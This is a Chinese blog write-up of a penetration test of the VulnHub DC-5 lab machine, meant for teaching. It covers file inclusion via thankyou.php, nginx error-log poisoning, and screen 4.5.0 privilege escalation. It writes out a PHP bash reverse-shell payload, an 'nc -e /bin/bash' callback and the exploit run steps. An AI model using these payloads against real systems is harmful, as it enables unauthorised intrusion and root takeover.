vulnhub-DC-5靶机的测试报告

目录

一、测试环境

1、系统环境

2、使用工具/软件

二、测试目的

三、操作过程

1、信息搜集

2、Getshell

3、提权

四、结论


一、测试环境

1、系统环境

渗透机:kali2021.1(192.168.202.134)

靶  机:Linux dc-5 3.16.0-4-amd64

2、使用工具/软件

Kali: arp-scan(主机探测)、nmap(端口和服务扫描)、gobuster(目录遍历)、ffuf(fuzz目录包含的参数)、burp suite(修改url参数) 、python(开启临时web服务)、nc(反弹shell连接)、searchspoilt(寻找poc)、dos2unix(将文件格式转换为unix识别的格式)

测试网址:http://192.168.202.158

二、测试目的

渗透靶机,通过web页面存在的目录包含漏洞写入木马到错误信息中getshell;通过screen应用的版本漏洞提权root

三、操作过程

1、信息搜集

主机探测

arp-scan -l

端口和服务扫描

nmap -sS -A -T4 -p- 192.168.202.158

可以看到只开启了web服务(80端口),rpcbind是端口映射的服务

目录扫描

gobuster dir -u http://192.168.202.158/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x php,jsp,html,txt

2、Getshell

打开web页面查看,五个栏目对应五个页面

Footer.php页面是版权页面,每次刷新的年份不一样

在contact页面提交会跳转thankyou.php页面,不管有没有内容都会跳转

看来提交的内容并不是作者想让注入的地方,提交参数跑了下sqlmap也没结果

多次提交发现,版权的年份会变,可以推断,thankyou.php页面包含了footer.php页面

尝试fuzz出目录遍历的参数

ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://192.168.202.158/thankyou.php?FUZZ=index.php -fs 852

FUZZ : 是占位符,爆破参数就是这个
-fs 852 : 过滤掉响应页大小为852的页面,这个大小是先跑一次命令才知道正常响应页大小。

得到参数值为file

尝试包含/etc/passwd文件,成功包含

http://192.168.202.158/thankyou.php?file=/etc/passwd

通过目录遍历getshell,可以将php代码进行包含,这样会显示在错误信息中

需要抓包修改参数,在url中输入会被url编码,这样代码就失效了

传入反弹shell参数

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.202.134/666 0>&1'"); ?>

包含后,页面没有显示,就是正常的,因为是错误的目录,被记录在error.log中

目录包含nginx的错误日志

http://192.168.202.158/thankyou.php?file=/var/log/nginx/error.log

同时kali开启监听

nc -lvvp 666

成功获取shell

3、提权

寻找suid权限的文件时,发现screen

screen 是一个用于 Unix/Linux 系统的终端多路复用器,它允许用户在一个终端窗口中运行多个会话。

Screen的4.5.0版本存在提权root的漏洞

尝试提权

查找漏洞exp,正好是这个版本的提权exp

这个exp的文件格式默认为Windows,直接用的话执行不成功的

Unix中,可以使用命令

cat -A <文件>

查看文件的格式,每一行末尾都有标识符

^M$  表示windows系统文件  
$则表示unix文件

必须要是unix文件才能解析(已经转换过了)

Linux使用命令将文件格式转换为unix格式:

dos2unix 41154.sh

(会直接转换系统中所有文件名为41154.sh的文件,我已经转换过了)

上传到靶机,赋予权限后执行,发现执行不成功

Gcc编译不成功

尝试发现通过蚁剑二次反弹shell才能成功(权限更大)

在目录包含页面传入一句话木马,蚁剑连接
这算一次shell连接,这里也是提权不成功的

通过nc再将shell反弹到kali上

nc -e /bin/bash 192.168.202.134 1111

bash 41154.sh

执行exp,发现还是不成功(尝试第二次可以成功)

或者使用交互式shell

SHELL=/bin/bash script /dev/null

./41154.sh

终于提权成功了

获取到flag

四、结论

目录包含漏洞可以通过传入错误参数,将代码上传在报错日志中,通过包含报错日志可以getshell。
linux系统中,不能直接使用windows文件,需要先转换为unix文件才行。
利用screen 4.5.0版本的漏洞可以进行提权,但必须通过蚁剑两次反弹shell运行exp,直接反弹shell或者是蚁剑连接都是提不了权的;只有先蚁剑连接,再反弹shell才能提权,否则会缺少库函数文件,gcc编译不成功,exp运行不成功。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ccc_9wy

觉得写的好的话就赏杯奶茶喝吧~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值